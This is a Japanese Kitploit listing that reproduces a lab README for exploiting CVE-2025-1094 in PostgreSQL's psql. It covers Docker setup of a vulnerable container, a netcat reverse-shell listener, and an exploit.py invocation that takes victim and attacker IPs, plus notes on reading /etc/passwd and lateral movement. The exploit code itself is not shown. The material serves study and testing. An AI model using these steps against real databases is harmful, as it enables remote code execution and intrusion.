Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-1094-Lab-Setup — # CVE-2025-1094を悪用するハンズオンラボ:PostgreSQL psqlのSQLインジェクションからCOPY TO PROGRAM経由のRCEへ、Dockerセットアップとリバースシェルペイロード付き | Kitploit
ツール/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

# CVE-2025-1094を悪用するハンズオンラボ:PostgreSQL psqlのSQLインジェクションからCOPY TO PROGRAM経由のRCEへ、Dockerセットアップとリバースシェルペイロード付き

リポジトリを見る
10ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🛠️ CVE-2025-1094 ラボ構築

⚠️ 免責事項
このラボは教育および研究目的のみで提供されています。
ここで紹介する情報や技術を、所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。これらの手法を無断で使用すると、法律違反となり、重大な罰則が科せられる可能性があります。


📌 概要

CVE-2025-1094 は、PostgreSQL の対話型ツール psql に影響する重大な脆弱性であり、バージョン 14.15 以前で発見されました。
特定の条件下では、攻撃者が SQLインジェクション を実行し、リモートコード実行(RCE) につながる可能性があります。


🧨 根本原因

この脆弱性は、psql における不正なUTF-8入力の不適切な処理に起因します。
検証が不十分なため、攻撃者は任意のSQLや !(シェルエスケープ)などのメタコマンドを注入でき、さらに COPY ... TO PROGRAM を悪用してシステムコマンドを実行することも可能です。


🔥 影響と攻撃シナリオ

  • SQLインジェクション → RCE: 不正なUTF-8文字列が検証をバイパスし、任意のクエリ実行につながります。
  • の悪用: 攻撃者は以下のような任意のシェルコマンドを実行できます:
COPY TO PROGRAM
  • リバースシェル
  • 機密ファイルの読み取り(/etc/passwd)
  • 他のCVEと組み合わせた完全な未認証RCE
  • 統合リスク: 信頼できない入力を伴う psql を使用するソフトウェア(例:BeyondTrust PRA、Remote Support)は特に危険にさらされます。

  • 🧪 ラボ要件

    🐳 被害者マシン(Ubuntu)

    Dockerをインストールします:

    root@kitploit:~
    sudo apt update
    sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
    echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
    sudo apt update
    sudo apt install -y docker-ce docker-ce-cli containerd.io
    sudo systemctl enable --now docker
    sudo usermod -aG docker $USER
    

    👉 Dockerグループの権限を適用するには、再起動またはログアウトして再ログインしてください。


    🐍 攻撃者マシン(Kali)

    Pythonと依存関係をインストールします:

    root@kitploit:~
    sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
    

    ✅ 攻撃者マシンと被害者マシン間のネットワーク接続を確認してください。


    ⚙️ ステップ1 – 脆弱なPostgreSQLコンテナの展開(被害者マシン)

    1. PostgreSQL 14.15イメージをプルします:
    root@kitploit:~
    docker pull postgres:14.15
    
    1. コンテナを実行します:
    root@kitploit:~
    docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
    
    1. 初期化に約5秒待ってから、デモ用テーブルを作成します:
    root@kitploit:~
    docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
    CREATE TABLE users (
      id SERIAL PRIMARY KEY,
      username TEXT,
      password TEXT
    );
    INSERT INTO users (username, password) VALUES ('admin', 'password123');
    EOF
    

    ✅ ステップ1.5 – コンテナとデータベース設定の確認

    コンテナ起動後、以下のコマンドですべてが正常に動作していることを確認します:

    1. PostgreSQLコンテナが実行中であることを確認します:

    root@kitploit:~
    sudo docker ps
    

    📌 ポート 5432 で待ち受けている vulnerable_postgres という名前のコンテナが表示されるはずです。


    2. コンテナにアクセスしてデータベースを確認します:

    root@kitploit:~
    sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
    

    psql シェル内で以下を実行します:

    root@kitploit:~
    SELECT * FROM users;
    

    期待される出力:

    root@kitploit:~
     id | username |  password
    ----+----------+-------------
      1 | admin    | password123
    (1 row)
    

    psql から終了します:

    root@kitploit:~
    \q
    

    ✅ これで脆弱なPostgreSQLインスタンスが実行され、悪用の準備が整いました。


    3. コンテナを再起動します

    root@kitploit:~
    sudo docker start vulnerable_postgres
    

    📡 ステップ2 – 攻撃者マシンからの悪用

    1. 攻撃者マシンでリバースシェルを受け取るリスナーを起動します:
    root@kitploit:~
    nc -lvnp 4444
    
    1. エクスプロイトスクリプトを実行します(必要に応じてIPとポートを調整):
    root@kitploit:~
    python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
    
    1. 成功すると、脆弱なPostgreSQLコンテナからリバースシェルを受け取ります 🎉
    root@kitploit:~
    [*] Connecting to PostgreSQL server...
    [+] Connected successfully!
    [*] Sending payload...
    [✓] Payload executed! Check your Netcat listener for a shell.
    

    🧰 エクスプロイト実行フローの例

    1. 不正なUTF-8を注入して入力検証をバイパスする
    2. COPY ... TO PROGRAM を悪用して任意のシェルコマンドを実行する
    3. リバースシェルが攻撃者マシンに接続し返す
    4. 環境内で権限を昇格するか、横方向に移動する

    💡 ヒント: この脆弱なコンテナをスナップショットとして保存し、環境を再構築せずに後で再利用できます。

    ツールをダウンロード